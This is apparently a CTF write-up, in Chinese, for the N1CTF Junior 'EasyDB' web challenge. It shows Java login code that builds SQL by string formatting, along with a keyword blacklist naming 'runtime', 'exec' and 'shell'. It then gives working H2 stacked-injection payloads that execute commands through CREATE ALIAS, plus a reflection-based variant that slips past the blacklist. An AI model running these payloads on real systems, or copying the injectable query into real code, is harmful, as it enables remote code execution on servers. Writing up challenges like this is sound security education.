CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入

java 复制代码
    // 处理登录表单的POST请求
    @PostMapping({"/login"})
    public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
        // 验证用户凭据
        if (this.userService.validateUser(username, password)) {
            session.setAttribute("username", username);  // 将用户名存储在会话中
            return "redirect:/";  // 验证成功,重定向到首页
        } else {
            model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型
            return "login";  // 返回登录视图
        }
    }
java 复制代码
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {
    // 使用格式化字符串构建SQL查询语句
    String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
    
    // 检查生成的查询是否安全,防止SQL注入
    if (!SecurityUtils.check(query)) {
        return false;  // 如果查询不安全,返回false
    } else {
        Throwable var8;  // 声明一个Throwable变量,用于异常处理
        // 使用try-with-resources语句自动管理Statement资源
        try (Statement stmt = this.connection.createStatement()) {
            // 执行SQL查询
            stmt.executeQuery(query);
            // 获取结果集
            ResultSet resultSet = stmt.getResultSet();
            Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常

            try {
                // 检查结果集是否有下一条记录(即用户是否存在)
                var8 = resultSet.next();
            } catch (Throwable var31) {
                var8 = var31;  // 捕获异常
                var7 = var31;  // 将异常赋值给var7以便后续处理
                throw var31;  // 重新抛出异常
            } finally {
                // 确保结果集在使用完后被关闭
                if (resultSet != null) {
                    if (var7 != null) {  // 如果有异常,处理异常
                        try {
                            resultSet.close();  // 关闭结果集
                        } catch (Throwable var30) {
                            var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中
                        }
                    } else {
                        resultSet.close();  // 正常关闭结果集
                    }
                }
            }
        } 
    } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

java 复制代码
// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {
    // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击
    private static final HashSet<String> blackLists = new HashSet<>();

    // 默认构造函数
    public SecurityUtils() {
    }

    // 检查给定的SQL语句是否包含黑名单中的关键字
    public static boolean check(String sql) {
        // 遍历黑名单中的每一个关键字
        for (String keyword : blackLists) {
            // 将SQL语句转换为小写并检查是否包含黑名单关键字
            if (sql.toLowerCase().contains(keyword)) {
                return false; // 如果发现关键字,返回false,表示SQL不安全
            }
        }

        // 如果没有发现黑名单关键字,返回true,表示SQL是安全的
        return true;
    }
}
java 复制代码
static {  
    blackLists.add("runtime");  
    blackLists.add("process");  
    blackLists.add("exec");  
    blackLists.add("shell");  
    blackLists.add("file");  
    blackLists.add("script");  
    blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

sql 复制代码
CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {
    Runtime.getRuntime().exec(cmd);
    return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分

2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值

3.因为过滤了runtime,使用getMethod将Runtime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

sql 复制代码
CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {
    String R = "R" + "untime";
    Class<?> c = Class.forName("java.lang." + R);
    Object rt = c.getMethod("get" + R).invoke(null);//实例化
    c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY's Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn't Laugh

相关推荐
中云DDoS CC防护蔡蔡16 小时前
DDOS和CC攻击谁更可怕
运维·服务器·经验分享·网络安全·ddos
leagsoft_100317 小时前
勒索病毒扩散控制深度解析:四大扩散路径、主流方案局限与联软科技差异化实践
网络安全·零信任·内网安全·勒索病毒·微隔离·防勒索·ad域安全
砚凝霜17 小时前
保姆级 | CTF 命令执行 system($_POST[‘a‘]):直接传系统命令拿 flag(对比 eval)
web安全·网络安全
2501_9151063217 小时前
抓包抓到乱码或压缩字节怎么解析,TraceEagle五种查看模式和一键解码
网络协议·计算机网络·网络安全·ios·adb·https·udp
菩提小狗20 小时前
每日安全情报报告 · 2026-10-30
网络安全·漏洞·cve·安全情报·每日安全
文章永久免费只为良心1 天前
Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
android·网络安全·渗透测试·漏洞危害·漏洞描述·日志投毒·红队指南
塞讯科技1 天前
13,500 个分支被植入窃密工作流:Gheist 如何用 GitHub 令牌搬走仓库密钥
网络安全·ai·github·软件供应链安全·供应链投毒
学逆向的2 天前
C++ 合并命名空间
开发语言·c++·网络安全
学逆向的2 天前
C 局部静态变量
c语言·开发语言·网络安全
杭州默安科技2 天前
从“被动响应”到“主动遏制”:AI Agent时代,网络防御体系如何重构?
人工智能·网络安全·ai智能体